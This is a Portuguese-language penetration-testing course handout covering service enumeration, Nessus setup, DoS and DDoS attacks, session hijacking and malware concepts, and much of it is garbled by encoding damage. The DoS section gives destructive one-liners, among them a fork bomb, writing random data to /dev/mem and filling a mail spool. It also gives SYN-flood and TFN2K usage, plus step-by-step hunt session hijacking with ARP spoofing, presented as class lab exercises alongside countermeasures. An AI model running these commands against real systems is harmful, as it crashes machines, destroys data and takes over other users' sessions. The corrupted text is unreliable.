verso" etc. *ssas informaes visam estabelecer um levantamento dos servios
utilizados" onde o foco de um poss#vel ata!ue pode estar voltado para a explorao
de vulnerabilidades desses servios.
8.3.1. Tcnicas clssicas
'em utilizar ferramentas espec#ficas" poss#vel conseguir informaes dos
servios !ue esto sendo executados em determinada porta. Abaixo veremos dois
exemplos" utilizando ftp e telnet.
Obtendo banner de um servidor ftp+
Captulo 8 Enumerao de informaes e servios - 93
#ftp 192.168.200.254
Obtendo banner de um servidor de e(mail+
#telnet 192.168.200.205 25
HELO [domnio]
MAIL !OM" [ende#e$o%o#i&em]
!'() )O" [ende#e$o%de*tino]
+A)A
, ... m*& ... -
.
./it
,om o comando telnet" podemos tentar conectar em todas as portas existentes
para verificar o !ue est% sendo executado.
Obviamente !ue esse um mtodo lento e imposs#vel de ser executado nas
mais de -./// portas existentes" mas interessante con&ec0(lo" e ainda evita a
deteco por 1D' ou fire2all.
8.3.2. Ferramentas
3map
4ealiza varredura de rede" buscando &osts ativos" portas abertas e servios
sendo executados.
5probe6
Analisa banners de sistemas operacionais" comparando com um banco de
dados interno" onde compara(os e informa o '.O. utilizado e a verso do mesmo.
Amap
Analiza banners de servios !ue esto sendo executados" e informa o nome e
Captulo 8 Enumerao de informaes e servios - 9
verso.
Auto'can
)az varredura na rede e informa &osts ativos" portas abertas e servios sendo
executados. )unciona atravs de uma interface gr%fica.
Maltego
)az varredura de redes" servios" protocolos" dom#nios e v%rias outras opes"
informando de forma gr%fica a relao entres os &osts ativos.
7anmap
8arre toda a rede e captura pacotes" criando ao longo de sua execuo um
ar!uivo .93: com o mapa da rede" informando graficamente a relao das m%!uinas
encontradas.
,&eops
8arre toda a rede em busca de &osts ativos" informando graficamente" atravs
de um mapa" os &osts ativos" '.O. sendo executado" portas abertas" servios sendo
executados. ;tiliza o nmap por debaixo de sua execuo" para realizar as varreduras.
3essus
Atravs de plugins espec#ficos" varre um determinado alvo" informando as
vulnerabilidades encontradas" inclusive exibindo o lin< de onde podemos encontrar
mais informaes sobre determinada vulnerabilidade e seu exploit.
8.!. "r#ti$a diri%ida
8.4.1. Capturando banner de aplicaes (de forma atia!
= ( A partir da sintaxe abaixo" utilizando os programas 3map" 5probe6 e
Amap" faa o recon&ecimento dos servios e sistemas operacionais rodando nas
m%!uinas da rede alvo" e compare os resultados de cada programa.
Captulo 8 Enumerao de informaes e servios - 9!
nm0p 1*2 1O [ip%0l3o]
4p#o5e2 6p )'("80"open 7ip8
Am0p 7ip8 7po#t08
8.&. 'apeando %rafi$amente a rede
Os programas de lin&a de comando funcionam muito bem para varrer redes"
descobrir &osts ativos" servios sendo executados e verses dos mesmos. 3o entanto"
!uando temos um mapa gr%fico mo" torna(se muito mais f%cil visualizarmos a
estrutura da rede e definirmos os vetores de ata!ue de forma mais consistente.
>ustamente por isso" abordaremos nos t?picos seguinte exemplos de
ferramentas existentes no @ac<trac< A !ue permitem mapear a rede graficamente.
Algumas rodam em lin&a de comando" como o 7anmap" por exemplo" e outras
possuem uma interface gr%fica" !ue facilita a operao" como o ,&eops e Maltego.
8.".1. #anmap e C$eops
*x+ lanmap (i et&/ (r B/ (C png (o DtmpD
Captulo 8 Enumerao de informaes e servios - 9"
8.".2. %uto&can
8.".3. 'alte(o
Captulo 8 Enumerao de informaes e servios - 97
8.(. )es$obrindo *ulnerabilidades
8.).1. *essus
3essus uma das ferramentas mais con&ecidas para descoberta de
vulnerabilidades em redes e sistemas.
,om um conunto sempre atualizado de plugins" baseado em sua linguagem de
script c&amada 3A'7" ele faz a varredura de todo os 19s definidos em sua
configurao" buscando vulnerabilidades e brec&as na configurao dos servios"
informando(os em um relat?rio final" onde define o grau de risco das vulnerabilidades
encontradas.
1nicialmente o 3essus era um soft2are opensource" mas a partir da verso B./
passou a ser uma ferramenta comercial" dispon#vel gratuitamente apenas para uso
domstico. 9ortanto" poss#vel baixar gratuitamente o 3essus em seu site
999.ne**/*.o#& e registrar(se para conseguir a c&ave de ativao" para poder
utilizar a ferramenta em testes particulares.
8amos ver no t?pico a seguir como baixar e configurar o 3essus para sua
utilizao em an%lise de vulnerabilidades.
8.+. "r#ti$a diri%ida
8.+.1. ,nstalando o *essus
=. Acesse o endereo nessus.orgDdo2nloadD
6. @aixe a verso A.6.6 do 3essus para ;buntu E./A
Captulo 8 Enumerao de informaes e servios - 98
B. 1nstale o pacote+
#dp:& 1i ;e**/*14.2.21de5i0n5%i<86.de5
A. Adicione um usu%rio !ue ser% o administrador do 3essus+
#=opt=ne**/*=*5in=ne**/*10dd/*e#
8.+.2. -e(istrando e iniciando
=. Acesse 222.nessus.orgDregister
6. *scol&a a verso 9rofessional ou Fome Ga verso Fome gratuitaH
B. 1nforme um endereo de e(mail Gpara onde eles enviaro o nImero de registroH
#=opt=ne**/*=5in=ne**/*1fet>? 11#e&i*te# @@@@1@@@@1@@@@1@@@@
#=opt=ne**/*=*5in=ne**/*1/pd0te1pl/&in*
#=et>=init.d=ne**/*d *t0#t
A. Acesse em seu bro2ser+ &ttps+DD=6J././.=+EEBAD
8.8. )efinindo vetores de ataue
K importante" antes de iniciarmos !ual!uer ao efetiva contra nosso alvo"
definirmos as v%rias possibilidades de ata!ues existentes dentro do contexto das
informaes ad!uiridas nas fases anteriores.
9or exemplo" se definirmos !ue o obetivo do teste de invaso" conseguir
acesso como root no sistema" ap?s o levantamento das informaes" fingerprint"
enumerao e etc" decidiremos !uais so os poss#veis ata!ues !ue podem ser
realizados de acordo com as informaes !ue conseguimos.
Ap?s definirmos os ata!ues" vamos classific%(los em n#vel de dificuldade"
sendo L=M praticamente em dificuldade" e L=/M o valor !ue definiremos os ata!ues de
maior dificuldade e com alta improbabilidade de conseguir sucesso.
Captulo 8 Enumerao de informaes e servios - 99
9ara definirmos os vetores" e coloc%(los em um mapa gr%fico !ue facilite sua
visualizao e compreenso" vamos utilizar uma tcnica c&amada Lmapas mentaisM"
desenvolvida para facilitar a reunio de informaes de forma resumida de
condensada em um mapa gr%fico" e posterior compreenso das mesmas sem perder
seu principal significado e conteIdos.
8amos utilizar um programa espec#fico para isso" e com a reunio das
informaes conseguidas at o momento" definirmos os vetores de ata!ue. Devemos
atentar !ue" ao longo do curso" novos vetores sero acrescentados e alterados" de
acordo com a evoluo de nosso conteIdo.
8eamos abaixo um exemplo de mapa mental com vetores de ata!ue definidos+
8.,. "r#ti$a diri%ida
=. 8amos" em primeiro lugar" instalar o soft2are necess%rio para a criao de
mapas mentais+
#0ptit/de in*t0ll f#eemind
Captulo 8 Enumerao de informaes e servios - 1##
6. ;tilizando as informaes reunidas at o momento" vamos definir os vetores de
ata!ue" classific%(los e criar um mapa mental com os mesmos.
B. Acrescente isso ao relat?rio.
8.1-. Contramedidas
,omo a maioria das varreduras e aplicativos de mapeamento utilizam flags de
conexo" uma boa configurao de regras do fire2all % blo!ueia a maiorias das
tentativas de varreduras.
Manter 1D'D19' bem configurados para detectar e blo!uear 19s !ue realizam
tentativas de varreduras.
4ealizar constantemente auditorias nas regras de 1D'D19' e fire2alls" testando
se os mesmos podem ser burlados e como. * a partir disso" criar eDou adaptar
regras.
Captulo 8 Enumerao de informaes e servios - 101
Captulo 9
Testando o sistema
9.1. Objetivos
Entender como ocorrem ataques de negao de servio
Entender o que DoS, DDoS, e DRDoS
Entender o que e como realizar sequestro de sesso
Captulo 9 Testando o sistema - 102
9.2. O que negao de servio?
Quem acompanha os noticirios de informtica ou o prprio !oletim "nti#$%rus
do &nfo'ester certamente ( se deparou com matrias que citam ataques DoS ou
ataques DDoS a sites) * o+(etivo deste cap%tulo dar e,plica-es so+re isso e
tam+m mostrar as conseq./ncias de tais ataques)
Durante um ataque de negao de servio, o atacante dei,a o sistema
imposs%vel de ser usado ou significantemente lento, a ponto de conseguir realizar
poucas tarefas) Esses ataques podem ser realizados contra um sistema individual ou
contra uma rede inteira e normalmente so realizados com sucesso)
Qualquer tipo de ataque que afete o pilar 0Disponi+ilidade1 da tr%ade
2onfidencialidade#&ntegridade#Disponi+ilidade, pode ser considerado um ataque de
negao de servio, desde pu,ar a tomada de alimentao de energia de um servidor,
at utilizar uma rede zum+i para ataque em massa)
3a maior parte das vezes, o o+(etivo do atacante no conseguir acesso 4
informa-es, rou+o de dados, ou tomar o controle da mquina) * o+(etivo
realmente causar a indisponi+ilidade de servios nos sistemas do alvo, e isso pode
levar a potenciais pre(u%zos financeiros, do ponto de vista comercial, por e,emplo)
"+ai,o temos alguns e,emplos de ataques realizados em site conhecidos, que
de alguma forma causou pre(u%zos financeiros aos sites atacados)
Exemplos de ataques:
2ontra D3S da 5elefonica
Speed6
2ontra sistema de votao do !!!
7lo+o
2ontra sites de update
update)microsoft)com
Captulo 9 Testando o sistema - 103
2ontra sites grandes8
233
9ahoo
9.. !o"
De acordo com a definio do 2ER5 :2omputer Emergenc6 Response 5eam;,
os ataques DoS :Denial of Service;, tam+m denominados "taques de 3egao de
Servios, consistem em tentativas de impedir usurios leg%timos de utilizarem um
determinado servio de um computador) <ara isso, so usadas tcnicas que podem8
so+recarregar uma rede a tal ponto em que os verdadeiros usurios dela no
consigam us#la= derru+ar uma cone,o entre dois ou mais computadores= fazer
tantas requisi-es a um site at que este no consiga mais ser acessado= negar
acesso a um sistema ou a determinados usurios)
E,plicando de maneira ilustrativa, imagine que voc/ usa um >ni+us
regularmente para ir ao tra+alho) 3o entanto, em um determinado dia, uma
quantidade enorme de pessoas ?furaram a fila? e entraram no ve%culo, dei,ando#o to
lotado que voc/ e os outros passageiros regulares no conseguiram entrar) *u ento,
imagine que voc/ tenha conseguido entrar no >ni+us, mas este ficou to cheio que
no conseguiu sair do lugar por e,cesso de peso) Este >ni+us aca+ou negando o seu
servio # o de transport#lo at um local #, pois rece+eu mais solicita-es # neste caso,
passageiros # do que suporta)
@ importante frisar que quando um computadorAsite sofre ataque DoS, ele no
invadido, mas sim, tem apenas o servio parado)
*s ataques do tipo DoS mais comuns podem ser feitos devido a algumas
caracter%sticas do protocolo 52<A&< :5ransmission 2ontrol <rotocol A &nternet
<rotocol;, sendo poss%vel ocorrer em qualquer computador que o utilize) Bma das
formas de ataque mais conhecidas a S93 Clooding, onde um computador tenta
esta+elecer uma cone,o com um servidor atravs de um sinal do 52< conhecido por
S93 :S6nchronize;) Se o servidor atender ao pedido de cone,o, enviar ao
computador solicitante um sinal chamado "2D :"cEnoFledgement;) * pro+lema
que em ataques desse tipo, o servidor no consegue responder a todas as solicita-es
Captulo 9 Testando o sistema - 104
e ento passa a recusar novos pedidos)
*utra forma de ataque comum o B<D <acEet Storm, onde um computador
faz solicita-es constantes para que uma mquina remota envie pacotes de respostas
ao solicitante) " mquina fica to so+recarregada que no consegue e,ecutar suas
fun-es)
3o so apenas grande quantidades de pacotes geradas que podem causar um
ataque de negao de servio)
<ro+lemas em aplicativos tam+m podem gerar)
Ping da Morte
9.3.1. Exemplo de ataques DoS
Em Linux8
$ :(){ :|:& };:
$ dd if=/dev/zero of=/var/spool/mail/meuusuario
$ perl ! e "#$ile (%) { for&();
open $f$' ()/pro*/meminfo+;
open $$f' (,/tmp/-la+; }"
$ dd if=/dev/urandom of=/dev/mem
$ perl .e "for& #$ile for&"
Em Windows8
Em um )+at8 GHIGH
*u8
:s
start /0
Captulo 9 Testando o sistema - 10
goto :s
9.3.2. Prtica dirigida
2J
* 2J uma ferramenta que gera ataques de DoS em redes locais com S93
Clood ) $amos conhec/#la um pouco mais, digitando no terminal8
$1/*2
2om esse comando, teremos como retorno a sinta,e e a e,plicao resumida
dos parKmetros e op-es do comando cJ)
" sinta,e correta para um ataque de S93 Clood com o cJ contra um host
espec%fico 8
Sintaxe8 )AcJ #h LipMalvoN
E alguns dos parKmetros e,istentes so8
Parmetros:
#h destination ipAhost
#p destination port range Lstart,endN :defaults to random ;
#t attacE timeout :defaults to forever;
#l G of +o, linE to use :defaults to OHHG ;
$amos formar duplas e realizar ataques de DoS na mquina do companheiro
de e,erc%cio) 2uidado, pois esse ataque pode travar a mquina do companheiro e at
mesmo a suaP
9.#. !!o"
* DDoS, sigla para Distri+uted Denial of Service, um ataque DoS ampliado,
ou se(a, que utiliza at milhares de computadores para atacar um determinado alvo)
Captulo 9 Testando o sistema - 10!
Esse um dos tipos mais eficazes de ataques e ( pre(udicou sites conhecidos,
tais como os da 233, "mazon, 9ahoo, Qicrosoft e e!a6)
<ara que os ataques do tipo DDoS se(am +em#sucedidos, necessrio que se
tenha um nRmero grande de computadores para fazerem parte do ataque) Bma das
melhores formas encontradas para se ter tantas mquinas, foi inserir programas de
ataque DDoS em v%rus ou em softFares maliciosos)
Em um primeiro momento, os hacEers que criavam ataques DDoS tentavam
?escravizar? computadores que agiam como servidores na internet) 2om o aumento
na velocidade de acesso 4 internet, passou#se a e,istir interesse nos computadores
dos usurios comuns com acesso +anda larga, ( que estes representam um nRmero
muito grande de mquinas na internet)
<ara atingir a massa, isto , a enorme quantidade de computadores
conectados 4 internet, v%rus foram e so criados com a inteno de disseminar
pequenos programas para ataques DoS) "ssim, quando um v%rus com tal poder
contamina um computador, este fica dispon%vel para fazer parte de um ataque DoS e
o usurio dificilmente fica sa+endo que sua mquina est sendo utilizado para tais
fins) 2omo a quantidade de computadores que participam do ataque grande,
praticamente imposs%vel sa+er e,atamente qual a mquina principal do ataque)
Quando o computador de um internauta comum infectado com um v%rus com
fun-es para ataques DoS, este computador passa a ser chamado de zum+i) "ps a
contaminao, os zum+is entram em contato com mquinas chamadas de mestres,
que por sua vez rece+em orienta-es :quando, em qual siteAcomputador, tipo de
ataque, entre outros; de um computador chamado atacante) "ps rece+erem as
ordens, os computadores mestres as repassam aos computadores zum+is, que
efetivamente e,ecutam o ataque) Bm computador mestre pode ter so+ sua
responsa+ilidade at milhares de computadores) Repare que nestes casos, as tarefas
de ataque DoS so distri+u%das a um ?e,rcito? de mquinas escravizadas)
Da% que surgiu o nome Distri+uted Denial of Service) " imagem a+ai,o
ilustra a hierarquia de computadores usadas em ataques DDoS :alm de ilustrar
tam+m um ataque DoS e DRDos)
Captulo 9 Testando o sistema - 10"
2omo e,emplo real de ataques DDoS a(udados por v%rus, tem#se os casos das
pragas digitais 2odered, Slammer e Q6Doom) E,istem outros, mas estes so os que
conseguiram os maiores ataques ( realizado)
9.4.1. Ferramenta de DDoS
TFN2K
Esta foi a primeira ferramenta de ataque DDoS dispon%vel pu+licamente) *
5C3 foi escrito por Qi,ter) *s ataques efetuados pelo 5C3 so8
BD< Clooding=
52< S93 Clooding=
&2Q< Clooding=
e Smurf "ttacE)
Captulo 9 Testando o sistema - 108
9.4.2. Prtica dirigida
$amos testar, formando grupos de quatro, a utilizao do 5C3SD para realizar
um ataque de negao de servios= onde um ser o alvo, dois os slaves e um o
master, que controla o ataque)
2ada um do grupo ir revezar de papel com os outros, fazendo um rod%zio)
* controle dos mestres feito por linha de comando, e a e,ecuo do
programa deve ser acompanhada dos parKmetros dese(ados com a sinta,e8
Sintaxe8 tfn TiplistU Tt6peU LipN LportN
Onde:
TiplistU a lista dos agentes que podem ser utilizados=
Tt6peU o tipo de ataque dese(ado=
LipN o endereo da v%tima=
e LportN a porta dese(ada para ataques 52< S93 flooding, que pode ser
definida como um nRmero aleatrio :parKmetro H;)
* 5C3 +astante ?discreto?) " comunicao entre os mestres e os agentes
feita por mensagens &2Q< tipo H, o que torna dif%cil o monitoramento dessas
comunica-es, pois muitas ferramentas de monitoramento no analisam o campo de
dados de mensagens &2Q<)
9.$. %rin&ipais tipos de ataques
9.5.1. Ping Flood
<ing flood um ataque de negao de servio simples no qual o atacante
so+recarrega o sistema v%tima com pacotes &2Q< Echo Request :pacotes ping;)
Este ataque apenas +em sucedido se o atacante possui mais largura de
Captulo 9 Testando o sistema - 109
+anda que a vitima) 2omo a vitima tentar responder aos pedidos, ir consumir a sua
largura de +anda impossi+ilitando#a responder a pedidos de outros utilizadores)
"s Rnicas maneiras de proteger deste tipo de ataque limitando o trfego do
ping na sua totalidade ou apenas limitando o trfego de pacotes &2Q< Echo Request
com um tamanho menos elevado)
9.5.2. S! Flood
S93 flood ou ataque S93 uma forma de :DoS; em sistemas
computadorizados, na qual o atacante envia uma seq./ncia de requisi-es S93 para
um sistema#alvo)
Quando um cliente tenta comear uma cone,o 52< com um servidor, o
cliente e o servidor trocam um srie de mensagens, que normalmente so assim8
* cliente requisita uma cone,o enviando um S93 :s6nchronize; ao
servidor)
* servidor confirma esta requisio mandando um S93#
"2D:acEnoFledge; de volta ao cliente)
* cliente por sua vez responde com um "2D, e a cone,o est
esta+elecida)
&sto o chamado aperto de mo em tr/s etapas :5hree#'a6 VandshaEe;)
Captulo 9 Testando o sistema - 110
Bm cliente malicioso pode no mandar esta Rltima mensagem "2D) * servidor
ir esperar por isso por um tempo, ( que um simples congestionamento de rede
pode ser a causa do "2D faltante)
Esta chamada cone,o semi#a+erta pode ocupar recursos no servidor ou
causar pre(u%zos para empresas usando softFares licenciados por cone,o) <ode ser
poss%vel ocupar todos os recursos da mquina, com pacotes S93) Bma vez que todos
os recursos este(am ocupados, nenhuma nova cone,o :leg%tima ou no; pode ser
feita, resultando em negao de servio) "lguns podem funcionar mal ou at mesmo
travar se ficarem sem recursos desta maneira)
"o contrrio do que muitos pensam, no resolve ataque negao de servio
por S6n flood limitando a quantidade de cone,-es por minuto :como usar o mdulo
limit ou recent do ipta+les;, pois as cone,-es e,cedentes seriam descartadas pelo
fireFall, sendo que desta forma o prprio fireFall tiraria o servio do ar) Se eu, por
e,emplo, limito as cone,-es S93 a OHAseg, um atacante precisa apenas manter uma
ta,a de S93s superior a OHAs para que cone,-es leg%timas se(am descartadas pelo
fireFall)
* fireFall tornou a tarefa do atacante ainda mais fcil) Bm ataque de S6n
Clood feito com os &<s for(ados :spoof;, para que o atacante no rece+a os S6n#
Captulo 9 Testando o sistema - 111
"2Ds de suas falsas solicita-es)
9.5.3. Smur" #ttac$
* Smurf outro tipo de ataque de negao de servio) * agressor envia uma
rpida seq./ncia de solicita-es de <ing :um teste para verificar se um servidor da
&nternet est acess%vel; para um endereo de +roadcast)
Bsando spoofing, o atacante faz com que o servidor de +roadcast encaminhe
as respostas no para o seu endereo, mas para o da v%tima) "ssim, o computador#
alvo inundado pelo <ing)
9.'. (e&omenda)es
@ sugerido que o <en#tester se(a cauteloso com o uso desse tipo de ataque ou
de ferramentas que possam causar uma negao de servio)
E,ceto em casos que o cliente solicite tal tipo de ataque, no devemos realizar
esse ataque, pois pode pre(udicar os negcios da empresa)
Captulo 9 Testando o sistema - 112
9.*. "equestro de "esso
" idia por detrs do ataque de sequestro de sesso, ou session hi(acEing,
(ustamente utilizar credenciais vlidas para acessar recursos que no esto
dispon%veis pu+licamente)
Bm e,emplo de session hi(acEing, conseguir acessar um servidor SSV a
partir de uma sesso a+erta de um usurio vlido)
*utro e,emplo, muito utilizado pela maioria dos atacantes que quer ganhar
acesso no#autorizado 4 contas de usurios, o sequestro de sesso de aplica-es
'E!, onde poss%vel acessar o e#mail, orEut, face+ooE, conta +ancria e +urlar
qualquer outro tipo de controle de acesso de aplica-es online, de forma que possa
acessar informa-es confidenciais do alvo)
" ferramenta utilizada para um ataque de session hi(acEing de SSV o
sshmitm, instalado a partir da suite dsniff :funciona apenas na verso SSVO;)
Sintaxe:
sshmitm L#dN L#&N L#p portaN host LportaN
Parmetros:
#d Ena+le ver+ose de+ugging output)
#& Qonitor A hi(acE an interactive session)
#p port Specif6 the local port to listen on)
host Specif6 the remote host to rela6 connections to)
port Specif6 the remote port to rela6 connections to)
9.+. %r,ti&a dirigida &om o -./T
*utra ferramenta interessante utilizada para um ataque de session hi(acEing
o VB35)
Captulo 9 Testando o sistema - 113
<ara conhecermos essa interessante ferramenta, vamos instal#la para testar
suas funcionalidades8
3aptitude install $unt
"travs das op-es e,istentes no menu da ferramenta, vamos navegar entre
eles para conhecer as op-es e,istentes e testar algumas funcionalidades)
$amos testar algumas dessas ferramentas na rede alvo para ver o que
conseguimos)
<ara iniciar o hunt, para e,ecutarmos o comando8
3$unt
E ser e,i+ida a seguinte tela para ns8
*nde8
* 0#U1 o prompt do shell do hunt)
l/w/r list/wat!"/reset !onne!tions # Wista as cone,-es ativas :W;,
assiste a uma cone,o :'; e encerra uma cone,o :R;)
a arp/simple "i#a!$ %a&oids a!$ storm i' arp used # essa ser a
Rltima opo que usaremos) Essa opo para ser usada caso sua rede
for segmentada por sFitch, pois ela permite "rp <oisoning)
Captulo 9 Testando o sistema - 114
s simple "i#a!$ X para realizar o sequestro de sesso no caso de sua
rede no ser segmentada)
o options # onde iremos configurar tudo para iniciar o hi(acEing)
x exit X essa opo usaremos para sair da configurao do hunt)
<ara iniciarmos a configurao dos parKmetros necessrios para nosso
ataque, escolhemos a opo 0o1, e a seguinte tela ser e,i+ida8
Dentro dessa tela, utilizaremos a opo a/m/d add/mod/del !onn poli!(
entr(, onde vamos definir as regras de cone,o, ou se(a vamos configurar aqui o que
o hunt fare(ar)
<or hora, vamos utilizar a opo 0a1 para fazer a configurao necessria)
* hunt pedir a partir de qual endereo voc/ dese(a sniffar as cone,-es :a
origem dos pacotes;) E logo depois o endereo de destino dos pacotes que dese(a
capturar com o hunt) 2onfigure corretamente, informando o &< de origem e de
destino dos pacotes que dese(a capturar)
Se dei,armos no &< de origem o endereo H)H)H)HAH, ele vai capturar os
pacotes vindos de qualquer lugar da rede, para o &< de destino configurado)
3a terceira ele pedir um &3SER5 "5, apenas tecle 0enter1, dei,ando a opo
padro) Essa opo simplesmente para definir em qual posio da lista nossa regra
aparecer)
Depois disso digitamos 0,1 para voltarmos ao menu principal)))
Captulo 9 Testando o sistema - 11
Digitamos 0W1 para listar as cone,-es ativas) @ importante que aguardemos
um pouco, porque pode demorar at que todas as cone,-es se(am e,i+idas) <odemos
ainda, usar a opo 0'1 para sniffar as cone,-es)
Escolhendo a opo 0W1 na shell, vemos que algumas mquinas esto trocando
dados com o &< de destino configurado) Ento, usamos a opo 0S1 do menu
principal, que o simple hi(acEing)
* hunt pedir qual cone,o dese(a sequestrar, e elas viro numeradas) !asta
escolher pela ordem numrica a cone,o)
$oc/ pode perce+er, ento, que at agora no aconteceu nada, estamos
apenas sniffando a cone,o, mas quando pressionamos 25RW Y 2 aparecer a
mensagem8
4 press an5 &e5,
Quando pressionarmos qualquer tecla, o sequestro est realizado e estaremos
em modo interativo na cone,o) @ como se tomssemos a identidade do 2W&E35E,e o
SER$&D*R continuar rece+endo dados, agora vindos de nossa mquinaP
* 2W&E35E de repente perce+e que os comandos simplesmente no esto
funcionando, mas no aparece nenhuma mensagem de erro, simplesmente o que o
2W&E35E digitar como um 0ls1 no far nenhum efeito)
Sequestrada a cone,o, poderemos fazer o que quisermos com o SER$&D*R)
Quando tudo estiver terminado, +asta dar um 25RWY2 para sair)
Qas a% vem a pergunta, e se minha rede possuir S'&52VZ
@ +em simples, vamos seguir os passos8
Caa a mesma coisa que fizemos acima, configurando o que o hunt
monitorar, liste as cone,-es, no menu principal use a opo 0d1 para listar os
daemons do hunt e selecione a opo ?"? de arp spoof)
* hunt pedir para configurarmos os endereos &< de origem e destino pelos
quais queremos fazer "R< Spoofing, e depois digite ?S? para iniciar o Daemon)
Captulo 9 Testando o sistema - 11!
Essa parte pode demorar +astante, mas +asta ter calma)
"ps terminar tudo, volte ao menu principal e apenas digite 0"1 de arpAsimple
hi(acE)
Escolha a cone,o dese(ada e o resto voc/s ( sa+em 8#;
9.9. Contramedidas
&nfelizmente no e,iste muito o que fazer para prevenir esse tipo de ataque,
quando estamos falando de ataques que envolvem inundao de pacotes)
3ormalmente, vence quem tem mais linEP
<orm, DoS causados por falhas em aplica-es podem ser evitadas com
treinamento so+re programao segura para os programadores)
"pesar de no e,istir nenhum meio que consiga impedir totalmente um ataque
DoS, poss%vel detectar a presena de ataques ou de computadores :zum+is; de uma
rede que esto participando de um DDoS) <ara isso, +asta o+servar se est havendo
mais trfego do que o normal :principalmente em casos de sites, se(a ele um menos
conhecido, se(a ele um muito utilizado, como o 7oogle)com;, se h pacotes 52< e
BD< que no fazem parte da rede ou se h pacotes com tamanho acima do normal)
*utra dica importante utilizar softFares de &DS :&ntrusion Detection S6stem #
Sistema de &dentificao de &ntrusos;)
<ara preveno, uma das melhores armas verificar as atualiza-es de
segurana dos sistemas operacionais e softFares utilizados pelos computadores)
Quitos v%rus aproveitam de vulnera+ilidades para efetuar contamina-es e
posteriormente usar a mquina como zum+i) 5am+m importante filtrar certos
tipos de pacotes na rede e desativar servios que no so utilizados)

Captulo 9 Testando o sistema - 11"
9.9.1. Find DdoS
@ uma ferramenta que foi desenvolvida por um rgo do C!& em funo da
grande quantidade de ataques DDoS ocorridos) * findMddos localiza no sistema os
masters e agentes das ferramentas 5rinHH, 5ri+e Clood 3etForE, 5C3SE e
Stacheldraht)
Captulo 9 Testando o sistema - 118
Captulo 10
Trojans, Backdoors, Vrus, Rootkits e
Worms
10.1. Objetivos
Entender a diferena entre vrus e worms
Entender o funcionamento das backdoors
Entender as funcionalidades do trojan
Entender o conceito de rootkit
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 119
10.. Backdoor
As backdoors so programas destinados a fornecer um meio de acesso remoto
ao hacker a uma mquina que provavelmente teve sua segurana comprometida por
ele anteriormente. ormalmente! esses programas abrem uma porta no computador
atacado! e nessa porta tem o servidor do hacker escutando! apenas esperando o
hacker se conectar nela para dar total acesso ao computador.
"as! como esse m#todo ficou fcil de ser detectado! pois com uma simples
varredura por portas abertas na mquina entregaria o hacker! novas t#cnicas mais
avanadas tem surgido! tais como backdoors que no abrem portas! mas sim ficam
ouvindo portas j abertas na mquina! e ento quando detectam um tipo especfico
de dado previamente estabelecido chegando nessa porta! a backdoor j sabe que # o
hacker que est querendo se conectar ao alvo e ento! lana uma cone$o para o
computador do hacker. Esse tipo de backdoor # conhecido por on%listen &ackdoor.
'amb#m podemos ter backdoors implantadas propositalmente em programas
pelos programadores. E$istem diversos casos onde foram descobertas maneiras de
acessar um programa atrav#s de um login ou comando que no estava documentado.
10.!. Cavalo de Tr"ia ou Trojan #orse
(egundo os historiadores! os gregos tentaram invadir 'r)ia e sempre eram
derrotados pelos troianos. Ento! os gregos tiveram uma brilhante id#ia de criar um
cavalo de madeira onde eles iriam colocar diversos soldados e presentear os troianos
como reconhecimento da potencial defesa e declarao de pa*. +om isso! os gregos
conseguiram chegar ao corao de 'r)ia sem passar pelos muros e soldados troianos.
Ento! enquanto os troianos comemoravam a vit)ria e descansavam tranquilamente!
os soldados gregos saram do cavalo e atacaram 'r)ia! que acabou sendo
conquistada pelos gregos. Essa hist)ria ficou conhecida como +avalo de 'r)ia.
Ento! depois de vrios s#culos desse acontecimento! acabamos descobrindo
que esse truque foi ressuscitado.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 120
,s cavalos de tr)ia dos computadores so programas que aparentemente
funcionam normais! mas na verdade eles acabam reali*ando outra tarefa sem que o
usurio tome conhecimento. -m e$emplo disso # quando recebemos um email
contendo um jogo ane$ado. .uando rodamos o jogo! conseguimos jogar
normalmente! mas na verdade! alem do jogo! pode estar sendo e$ecutados outros
programas em conjuntos para dar acesso ao seu computador a um possvel atacante
quando voc/ se conectar 0 internet ou ento! voc/ pode ter informa1es roubadas e
enviadas por email para o atacante ou onde for a imaginao do hacker.
-m e$emplo de um cavalo de tr)ia # quando um hacker altera um arquivo do
computador para se esconder ou esconder os seus arquivos dentro da maquina
invadida. 2sso pode ser feito alterando o programa responsvel por listar os arquivos
dentro de um diret)rio ou ento alterando o programa responsvel por mostrar todas
as cone$1es ativas ao computador para o administrador.
-m hacker! quando ataca uma mquina! provavelmente ele ir instalar um
conjunto de ferramentas formadas por trojans e backdoor! para se esconder e
garantir o acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta #
conhecido por 3ootkit.
10.$. Rootkits
3ootkit # um conjunto de ferramentas que tem como objetivo ofuscar
determinadas ocorr/ncias do sistema em que se encontra. ormalmente um rootkit #
constitudo por trojans e backdoors.
'emos dois principais tipos de rootkits4
User-land
,s binrios originais so alterados por binrios modificados! alterando o flu$o
normal do programa5
6rimeiramente # e$ecutado o c)digo do rootkit e s) ento # reali*ada a
funcionalidade real do programa.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 121
Kernel-land
Adiciona c)digo malicioso no kernel atrav#s de 78" 97oadable 8ernel
"odule:! drivers! insero de c)digo direto na mem)ria! hook de s;scall table5
(e bem implementado! # praticamente impossvel de ser detectado com o (,
em e$ecuo! precisando fa*er anlise da imagem.
Algumas das funcionalidades do 8ernel%land rootkit4
<ide 2tself4 , m)dulo se oculta! no aparecendo na listagem de m)dulos!
tornando assim impossvel de descarreg%lo5
=ile <ider4 'odos os arquivos que possuir uma pr#%determinada palavra
em seu nome sero ocultos da visuali*ao5
6rocess <ider4 'odos os processos que possuir uma pr#%determinada
palavra em seu nome sero ocultos da visuali*ao5
(ocket &ackdoor4 (e um pacote com um tamanho predefinido contendo
uma string especificada no rootkit for recebido! ser iniciar um
programa! normalmente uma backdoor.
10.%. Vrus e &orms
>rus e worms podem ser usados para infectar e modificar um sistema a fim
de permitir que um atacante ganhe acesso ao mesmo. "uitos vrus e worms
carregam trojans e backdoors.
-m vrus e um worm so softwares maliciosos 9malware:. A principal
diferena entre o vrus e o worm # que o primeiro! precisa ser e$ecutado para
infectar o sistema. , segundo se espalha automaticamente! tendo um poder de
infeco muito maior.
,s vrus! para comear a trabalhar! precisam ser ativados! ou seja! voc/
precisa e$ecutar o programa infectado. (omente ap)s isso! ele comear a infectar
outros arquivos. (e algum arquivo infectado for levado e e$ecutado em outro
computador! ento o vrus comear a atacar os arquivos dos outros computadores
tamb#m.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 122
